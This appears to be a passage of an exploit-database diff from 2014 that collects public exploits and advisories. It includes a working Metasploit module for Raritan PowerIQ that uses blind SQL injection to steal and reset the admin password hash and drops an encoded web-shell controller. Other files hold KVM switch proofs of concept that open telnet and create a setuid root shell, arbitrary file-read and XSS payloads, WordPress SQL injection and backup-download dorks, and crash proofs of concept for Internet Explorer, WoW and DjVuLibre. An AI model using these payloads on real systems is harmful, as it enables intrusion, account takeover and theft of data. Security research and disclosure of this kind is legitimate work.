Title: PostgreSQL > 8.1 time-based blind - Parameter replace
Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC
Place: POST
Parameter: dir
Type: boolean-based blind
Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE
1/(SELECT 0) END))
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)--
Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses
Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT
1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END))
---
There may also be a remote command execution vulnerability available to
administrators (or you if you use the stacked injection to update the
hashes).
When saving an NTP server, you can inject a newline (%0a) into the request
in order to save a malformed 'server' stanza in the ntp.conf. When syncing
with NTP, the application passes the first NTP server to the NTP utility
via bash. I was not able to make my malformed NTP server available as the
first in the list, thus was not able to achieve RCE. There may be a way to
do it though that I am unaware of.
Attached is a Metasploit module that I began writing when attempting to
achieve RCE but was never able to. This module will
A) Pull out the current password hash and salt for the 'admin' user and
cache them.
B) Update the admin creeds to be 'admin:Passw0rd!'
C) Set up the malformed NTP server
D) Attempt to sync with NTP.
Because I was not able to achieve RCE via that vector, this module does not
actually pop a shell, so I am sorry about that.
Maybe some PostgreSQL UDF fanciness will be the key.
You may also find the module available here:
https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42
Quick module run:
bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1292 exploits - 702 auxiliary - 202 post ]
+ -- --=[ 332 payloads - 33 encoders - 8 nops ]
msf > use exploit/linux/http/raritan_poweriq_sqli
msf exploit(raritan_poweriq_sqli) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(raritan_poweriq_sqli) > check
[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is: 107
[+] Looks like you are vulnerable.
[+] 192.168.1.25:443 - The target is vulnerable.
msf exploit(raritan_poweriq_sqli) > exploit
[*] Started reverse handler on 192.168.1.31:4444
[*] Checking if vulnerable before attempting exploit.
[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is: 107
[+] Looks like you are vulnerable.
[*] We are vulnerable. Exploiting.
[*] Caching current admin user's password hash and salt.
[*] I can set it back later and they will be none the wiser
[*] Grabbing current hash
[*] Old hash: 84c420e40496930e27301b10930e5966638e0b21
[*] Grabbing current salt
[*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04
[*] Resetting admin user credentials to admin:Passw0rd!
[*] Authenticating with admin:Passw0rd!
[*] Setting some stuff up
[*] Sending stager
[*] Triggering stager
[*] Exploit completed, but no session was created.
msf exploit(raritan_poweriq_sqli) >
-- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website
=end
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Raritan PowerIQ Unauthenticated SQL Injection",
'Description' => %q{
This module will exploit an unauthenticated SQL injection in order to gain
a shell on the remote victim. This was tested against PowerIQ v4.1.0.
The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in
order to verify exploitability via boolean injections.
In order to gain remote command execution, multiple vulnerabilities are used.
I use a SQL injection to gain administrative access.
I use a newline injection to save an NTP server I shouldn't be able to save.
By saving this unsanitized NTP server, I can execute commands as 'nginx' with
a request to the server's web application.
You can find a trial ISO at the following link. CentOS-based with PGSQL.
This is what this module was tested against.
http://cdn.raritan.com/download/power-iq/v4.1.0/power-iq-v4.1.0.73.iso
Trial license:
http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic
If for some reason these links do not work, I "registered" for the trial here:
https://www1.raritan.com/poweriqdownload.html
},
'License' => MSF_LICENSE,
'Author' =>
[
],
'References' =>
[
],
'DefaultOptions' =>
{
'SSL' => true,
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "\x20",
'Compat' =>
{
'RequiredCmd' => 'generic perl python',
}
},
'Targets' =>
[
['Raritan PowerIQ v4.1.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
], self.class)
end
#In order to check for exploitability, I will enumerate the banner
#of the DBMS until I have it match a regular expression of /postgresql/i
#
#This isn't optimal (takes a few minutes), but it is reliable. I use
#a boolean injection to enumerate the banner a byte at a time.
def check
#First we make a request that we know should return a 200
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => 'sort=id&dir=ASC'
})
if !res or res.code != 200
return Exploit::CheckCode::Safe
end
#Now we make a request that we know should return a 500
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => "sort=id'&dir=ASC"
})
if !res or res.code != 500
print_error("Probably not vulnerable.")
return Exploit::CheckCode::Safe
end
#If we have made it this far, we believe we are exploitable,
#but now we must prove it. Get the length of the banner before
#attempting to enumerate the banner. I assume the length
#is not greater than 999 characters.
print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.")
length = ''
(1..3).each do |l|
(47..57).each do |i|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => str
})
if res and res.code == 500
length << i.chr
break
end
end
end
if length == ''
return Exploit::CheckCode::Safe
end
print_status("Looks like the length of the banner is: " + length)
#We have the length, now let's get the banner until it matches
#the regular expression /postgresql/i
banner = ''
(1..length.to_i).each do |c|
(32..126).each do |b|
str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
},
'data' => str
})
if res and res.code == 500
banner << b.chr
if c%10 == 0
vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner)
end
if banner =~ /postgresql/i
print_good("Looks like you are vulnerable.")
vprint_good("Current banner: " + banner)
return Exploit::CheckCode::Vulnerable
end
break
end
end
end
#If we reach here, we never matched our regex, which means we must
#not be vulnerable.
return Exploit::CheckCode::Safe
end
def exploit
print_status("Checking if vulnerable before attempting exploit.")
if check == Exploit::CheckCode::Vulnerable
print_status("We are vulnerable. Exploiting.")
print_status("Caching current admin user's password hash and salt.")
print_status("I can set it back later and they will be none the wiser")
print_status("Grabbing current hash")
old_crypted_password = get_admin_column_value("crypted_password")
print_status("Old hash: " + old_crypted_password)
print_status("Grabbing current salt")
old_salt = get_admin_column_value("salt")
print_status("Old salt: " + old_salt)
print_status("Resetting admin user credentials to admin:Passw0rd!")
headers = {
'X-Requested-With' => 'XMLHttpRequest'
}
salt_inj = ';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
hash_inj = ';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--'
post = {
'sort' => 'id' + salt_inj,
'dir' => 'ASC'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end
post['sort'] = 'id' + hash_inj
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => headers,
'vars_post' => post
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way")
end
print_status("Authenticating with admin:Passw0rd!")
post = {
'login' => 'admin',
'password' => 'Passw0rd!'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', 'login'),
'method' => 'POST',
'vars_post' => post
})
if !res or res.code != 302
fail_with("Authentication failed.")
end
cookie = res.get_cookies
print_status("Setting some stuff up")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers.json'),
'headers' => headers,
'cookie' => cookie
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end
servers = JSON.parse(res.body)
post = {
'_method' => '_delete',
'hosts' => servers["servers"].to_json
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end
print_status("Sending stager")
stage = '`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4'
stage << 'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu'
stage << 'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb`'
post = {
'host[server]' => "www.abc.com\x0aserver " + stage,
'host[ip_type]' => '0'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers'),
'method' => 'POST',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})
if !res or res.code != 200 or res.body =~ /false/
fail_with("Server did not respond in an expected way.")
end
post = {
'_method' => '_delete',
'hosts' => '[{"server":"www.abc.com", "ip_type":0}]'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'),
'method' => 'DELETE',
'vars_post' => post,
'headers' => headers,
'cookie' => cookie
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'application_settings', 'edit'),
'cookie' => cookie
})
if !res or res.code != 200
fail_with("Server did not respond in an expected way.")
end
res.body =~ /boxLabel: "Enable NTP",\n checked: (true|false),\n listeners/m
checked = $1
if checked == "true"
post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'off'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'vars_post' => post,
'method' => 'POST',
'cookie' => cookie
})
if !res or res.code != 302
fail_with("Server did not respond in an expected way")
end
end
post = {
'_method' => 'put',
'rails_options[time_zone]' => 'UTC',
'date_time' => '',
'rails_options[ntp_enabled]' => 'on'
}
print_status("Triggering stager")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'),
'method' => 'POST',
'vars_post' => post,
'cookie' => cookie,
})
end
end
def get_admin_column_value(column)
ret = ''
(1..40).each do |i|
[*('0'..'9'),*('a'..'f')].each do |c|
inj = "(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))"
post = {
'sort' => 'id,' + inj,
'dir' => 'ASC'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'license', 'records'),
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => post
})
if !res
fail_with("Server did not respond in an expected way")
end
if res.code == 500
vprint_status("Got character '"+c+"' for index " + i.to_s)
ret << c
break
end
end
end
return ret
end
end

128
platforms/php/remote/34132.txt Executable file
View file

@ -0,0 +1,128 @@
*Product description*
The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance. Versions v1.20.0.22575 and prior are
vulnerables.
Note that this vulnerability is also present in some DELL and probably
other vendors of this rebranded KVM. I contacted Dell but no response has
been received.
*1. Remote code execution *
CVEID: CVE-2014-2085
Description: Improperly sanitized input may allow a remote authenticated
attacker to perform remote code execution on the GCM KVM switch.
PoC of this vulnerability:
#!/usr/bin/python"""
Exploit for Avocent KVM switch v1.20.0.22575.
Remote code execution with privilege elevation.
SessionId (avctSessionId) is neccesary for this to work, so you need a
valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su -" to gain root (password "root")
alex.a.bravo@gmail.com
"""
from StringIO import StringIO
import pycurl
import os
sessid = "1111111111"
target = "192.168.0.10"
durl = "https://" + target + "/systest.php?lpres=;%20/usr/
sbin/telnetd%20;%20cp%20/bin/busybox%20/tmp/su%20;%20chmod%
206755%20/tmp/su%20;"
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
try:
print "[*] Sending GET to " + target + " with session id " + sessid
+ "..."
c.perform()
c.close()
except:
print ""
finally:
print "[*] Done"
print "[*] Trying telnet..."
print "[*] Login as target/target, then do /tmp/su - and enter password
\"root\""
os.system("telnet " + target)
*2. Arbitrary file read *
CVEID: CVE-2014-3081
Description: This device allows any authenticated user to read arbitrary
files. Files can be anywhere on the target.
PoC of this vulnerability:
#!/usr/bin/python
"""
This exploit for Avocent KVM switch v1.20.0.22575 allows an attacker to
read arbitrary files on device.
SessionId (avctSessionId) is neccesary for this to work, so you need a
valid user.
alex.a.bravo@gmail.com
"""
from StringIO import StringIO
import pycurl
sessid = "1111111111"
target = "192.168.0.10"
file = "/etc/IBM_user.dat"
durl = "https://" + target + "/prodtest.php?engage=video_
bits&display=results&filename=" + file
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, durl)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
try:
c.perform()
c.close()
except:
print ""
content = storage.getvalue()
print content.replace("<td>","").replace("</td>","")
*3. Cross site scripting non-persistent*
CVEID: CVE-2014-3080
Description: System is vulnerable to cross-site scripting, caused by
improper validation of user-supplied input. A remote attacker could exploit
this vulnerability using a specially-crafted URL to execute script in a
victim's Web browser within the security context of the hosting Web site,
once the URL is clicked. An attacker could use this vulnerability to steal
the victim's cookie-based authentication credentials.
Examples:
http://kvm/kvm.cgi?%3Cscript%3Ealert%28%22aaa%22%29%3C/script%3E
https://kvm/avctalert.php?arg1=dadadasdasd&arg2=dasdasdas&key=%3Cscript%3Ealert%28%22aaa%22%29%3C/script%3E
*Vendor Response:*
IBM release 1.20.20.23447 firmware
*Timeline:*
2014-05-20 - Vendor (PSIRT) notified
2014-05-21 - Vendor assigns internal ID
2014-07-16 - Patch Disclosed
2014-07-17 - Vulnerability disclosed
*External Information:*
Info about the vulnerability (spanish):
http://www.bitcloud.es/2014/07/tres-nuevas-vulnerabilidades-en-ibm-gcm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5095983

52
platforms/php/webapps/34105.txt Executable file
View file

@ -0,0 +1,52 @@
######################
# Exploit Title : Wordpress Gallery Objects 0.4 SQL Injection
# Exploit Author : Claudio Viviani
# Vendor Homepage : http://galleryobjects.com/
# Software Link : http://downloads.wordpress.org/plugin/gallery-objects.0.4.zip
# Dork Google: inurl:/admin-ajax.php?action=go_view_object
# Date : 2014-07-18
# Tested on : Windows 7 / Mozilla Firefox
Windows 7 / sqlmap (0.8-1)
Linux / Mozilla Firefox
Linux / sqlmap 1.0-dev-5b2ded0
######################
Poc via Browser:
http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1[ and 1=2]&type=html
sqlmap:
sqlmap -u "http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1&type=html" -p viewid
---
Place: GET
Parameter: viewid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=go_view_object&viewid=475 AND 7403=7403&type=html
---
#####################
Discovered By : Claudio Viviani
http://www.homelab.it
info@homelab.it
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
#####################

25
platforms/php/webapps/34124.txt Executable file
View file

@ -0,0 +1,25 @@
# Exploit Title: Wordpress wpbackupplus Database and files Backup download (0-day)
# Google Dork: Index of:"/wp-backup-plus"
# Date: 19/07/2014
# Exploit Author: pSyCh0_3D (Arfaoui Moslem) https://www.facebook.com/lulz.sec
# Vendor Homepage: http://wpbackupplus.com/
# Version:
# Tested on: win7 32 Bit & Linux Kali
[+] Description
wpbackupplus make the backup .zip files and not protected
[+] Exploit:
For download all the website files
http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/
For download the Database backup
http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/temp
[+] POC :
http://[SERVER]/wp-content/uploads/wp-backup-plus/temp/

113
platforms/win32/dos/34010.html Executable file
View file

@ -0,0 +1,113 @@
<!--
Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace)
Product: Internet Explorer
Vulnerable version: 9,10
Date: 8.07.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 9,10
CVE : unknown
-->
<html>
<body>
<form id="form1">
<input id="input1" type="text" value="">
</form>
<script>
loaded = false ;
function func() {
if (loaded) {
document.body.innerHTML = "" ; // free CFormElement
}
}
input1 = document.getElementById("input1") ;
input1.onclick = func ;
loaded = true ;
input1.click(); // Call DoClick function
</script>
</body>
</html>
<!--
Vulnerability details
MSHTML!CInput::DoClick
66943670 8bcf mov ecx,edi
66943672 ff751c push dword ptr [ebp+1Ch]
66943675 ff7518 push dword ptr [ebp+18h]
66943678 ff7514 push dword ptr [ebp+14h]
6694367b ff7510 push dword ptr [ebp+10h]
6694367e ff750c push dword ptr [ebp+0Ch]
66943681 ff7508 push dword ptr [ebp+8] <---- esi = CFormElement
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi
66943689 85db test ebx,ebx
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695)
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory
66943691 836668fe and dword ptr [esi+68h],0FFFFFFFEh ; memory corruption, write to freed memory
MSHTML!CInput::DoClick+0x60:
66943681 ff7508 push dword ptr [ebp+8] ss:0023:023ec994=00000000
0:005> p
eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540
eip=66943684 esp=023ec95c ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x63:
66943684 e856e4f3ff call MSHTML!CElement::DoClick (66881adf)
0:005> dds esi l1
0034cd20 6661ead8 MSHTML!CFormElement::`vftable'
0:005> !heap -x esi <-- esi contains valid pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - c LFH;busy
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=66943689 esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSHTML!CInput::DoClick+0x68:
66943689 85db test ebx,ebx
0:005> dds esi l1
0034cd20 6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c
0:005> !heap -x esi <-- esi contains freed pointer to CFormElement
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0034cd18 0034cd20 00270000 002fcee8 78 - 0 LFH;free
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368b esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6a:
6694368b 7408 je MSHTML!CInput::DoClick+0x74 (66943695) [br=0]
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368d esp=023ec978 ebp=023ec98c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSHTML!CInput::DoClick+0x6c:
6694368d 83666400 and dword ptr [esi+64h],0 ds:0023:0034cd84=00000001
-->

55
platforms/windows/dos/34129.txt Executable file
View file

@ -0,0 +1,55 @@
# Exploit Title: World Of Warcraft 3.3.5a Stack Overflow (macros-cache.txt)
# Date: 21 Jul 2014
# Exploit Author: Alireza Chegini (@nimaarek)
# Vendor Homepage: http://us.battle.net/wow/
# Version: 3.3.5a
# Tested on: Win7
Output:
--WoWError [CrashDUmp] :
World of WarCraft (build 12340)
Exe: D:\Wow\Wow.exe
Time: Jul 21, 2014 6:10:08.243 PM
User: nimaarek
Computer: NIMAAREK-L
------------------------------------------------------------------------------
This application has encountered a critical error:
ERROR #132 (0x85100084) Fatal Exception
Program: D:\Wow\Wow.exe
Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0040BB77
--Windbg result:
0:020> g
ModLoad: 6c670000 6c6a0000 C:\Windows\SysWOW64\wdmaud.drv
ModLoad: 6d3a0000 6d3a4000 C:\Windows\SysWOW64\ksuser.dll
ModLoad: 6c660000 6c667000 C:\Windows\SysWOW64\AVRT.dll
ModLoad: 6c610000 6c618000 C:\Windows\SysWOW64\msacm32.drv
ModLoad: 6c600000 6c607000 C:\Windows\SysWOW64\midimap.dll
ModLoad: 71e50000 71e66000 C:\Windows\SysWOW64\CRYPTSP.dll
ModLoad: 71e10000 71e4b000 C:\Windows\SysWOW64\rsaenh.dll
(3a8.470): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Wow.exe -
eax=02af2000 ebx=050c1f6e ecx=00000000 edx=00000000 esi=17b28f50 edi=00000000
eip=0040bb77 esp=032eed00 ebp=032ef92c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Wow+0xbb77:
0040bb77 8500 test dword ptr [eax],eax ds:002b:02af2000=00000000
==============================================================================
Poc :
%systemroot%\Wow\WTF\Account\[AccountName]\macros-cache.txt
MACRO 1 "Decursive" INV_Misc_QuestionMark
/stopcasting
/cast [target=mouseover,nomod,exists] Dispel Magic; [target=mouseover,exists,mod:ctrl] Abolish Disease; [target=mouseover,exists,mod:shift] Dispel Magic
END
MACRO 2 "PoC" INV_Misc_QuestionMark
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA x n+1 :-)
END
==============================================================================
Greetz to My Friend : promoh3nv , AmirHosein Nemati , b3hz4d And Head Administrator of ST-Team [RadoN]

122
platforms/windows/dos/34135.py Executable file
View file

@ -0,0 +1,122 @@
from shutil import copyfile
import sys
"""
Exploit Title: DjVuLibre <= 3.5.25 Out of Bounds Access Violation
Date: 07/14/24
Exploit Author: drone (@dronesec)
Vendor: http://djvu.sourceforge.net/
Software link: http://downloads.sourceforge.net/djvu/djvulibre-3.5.25.3.tar.gz
Version: <= 3.5.25.3
Tested On: WinXP/Win7
Patch: https://sourceforge.net/p/djvu/djvulibre-git/ci/7993b445f071a15248bd4be788a10643213cb9d2/
The crash occurs due to a out of bounds read
.text:004D3BC0 mov ecx, edx
.text:004D3BC2 and ecx, 0Fh
=> .text:004D3BC5 mov eax, [eax+ecx*4]
.text:004D3BC8 test eax, eax
.text:004D3BCA jnz short loc_
We overwrite 4 bytes in an FG44 chunk header with \xff\xff\xff\xff:
46 47
34 34 00 00 04 6E 00 64 01 02 FF FF FF FF 80 FF <=
F2 D9 81 5E 5C 51 12 AD 6B 27 14 29 F6 53 2B DD
79 B0 01 E3 E2 71 33 58 CA 23 AE 25 35 E8 FF FF
FF FF F5 BA 7A FA 45 39 C7 CD E0 76 93 FF FF FF
FF FF F4 F1 85 98 84 DF 58 71 FE 2A 5F FF B7 16
31 67 4E 93 F0 2D 20 D5 58 22 39 02 26 7E A6 03
The crash occurs during image parsing:
// Allocate reconstruction buffer
short *data16;
GPBuffer<short> gdata16(data16,bw*bh);
// Copy coefficients
int i;
short *p = data16;
const IW44Image::Block *block = blocks;
for (i=0; i<bh; i+=32)
{
for (int j=0; j<bw; j+=32)
{
short liftblock[1024];
// transfer into IW44Image::Block (apply zigzag and scaling)
block->write_liftblock(liftblock);
[...]
void
IW44Image::Block::write_liftblock(short *coeff, int bmin, int bmax) const
{
int n = bmin<<4;
memset(coeff, 0, 1024*sizeof(short));
for (int n1=bmin; n1<bmax; n1++)
{
const short *d = data(n1);
[....]
inline const short*
IW44Image::Block::data(int n) const
{
if (! pdata[n>>4])
return 0;
return pdata[n>>4][n&15];
}
Which lines up quite nicely with our inlined disassembly of the function:
.text:004D3BB0 loc_4D3BB0:
.text:004D3BB0 mov ecx, [esp+0Ch+arg_0]
.text:004D3BB4 mov eax, edx
.text:004D3BB6 sar eax, 4 ; [n>>4]
.text:004D3BB9 mov eax, [ecx+eax*4] ; our pdata[n] data after the bitwise shift, lets call it n2
.text:004D3BBC test eax, eax ; if(n2 == 0)
.text:004D3BBE jz short loc_4 ; return 0
.text:004D3BC0 mov ecx, edx
.text:004D3BC2 and ecx, 0Fh ; apply n & 15, or pdata[n2][n&15], lets call it n3
=> .text:004D3BC5 mov eax, [eax+ecx*4] ; dereference pdata[n2][n3] into d
.text:004D3BC8 test eax, eax ; test if d == 0
.text:004D3BCA jnz short loc_
n2 refs to a location on the heap; may be exploitable if we stack Fg44 chunks with valid headers and malformed content, so the chunk
is allocated, then free'd, and hopefully our pointer dips into one of those free'd chunks. The returned short pointer is then used as the source in a
memcpy with a controllable destination; write-what-where. Who knows.
Tested with SumatraPDF 2.5.2 and WinDjView 2.0.2
"""
if len(sys.argv) < 2:
print '[%s] <djvu file>' % sys.argv[0]
sys.exit(1)
bfile = sys.argv[1]
# read in the data for parsing
base_data = None
with open(bfile, "rb") as f:
base_data = f.read()
# find a valid chunk
chunk_idx = base_data.find("\x46\x47\x34\x34")
if chunk_idx == -1:
print '[-] No valid FG44 chunks found'
sys.exit(1)
copyfile(bfile, "./%s-dos.djvu" % bfile)
print '[!] Found FG44 chunk at offset %d' % chunk_idx
# overwrite
with open("./%s-dos.djvu" % bfile, "r+b") as base:
# skip over 4 byte indicator (FG44)
# 2 byte primary header
# 2 byte secondary header
# 4 byte tertiary header
base.seek(chunk_idx+12)
base.write("\xff\xff\xff\xff")
print '[!] %s-dos.djvu generated' % bfile

206
platforms/windows/local/34112.txt Executable file
View file

@ -0,0 +1,206 @@
Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2014-003
Publication Date: 2014.07.18
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt
1. Vulnerability Details
Affected Vendor: Microsoft
Affected Product: MQ Access Control
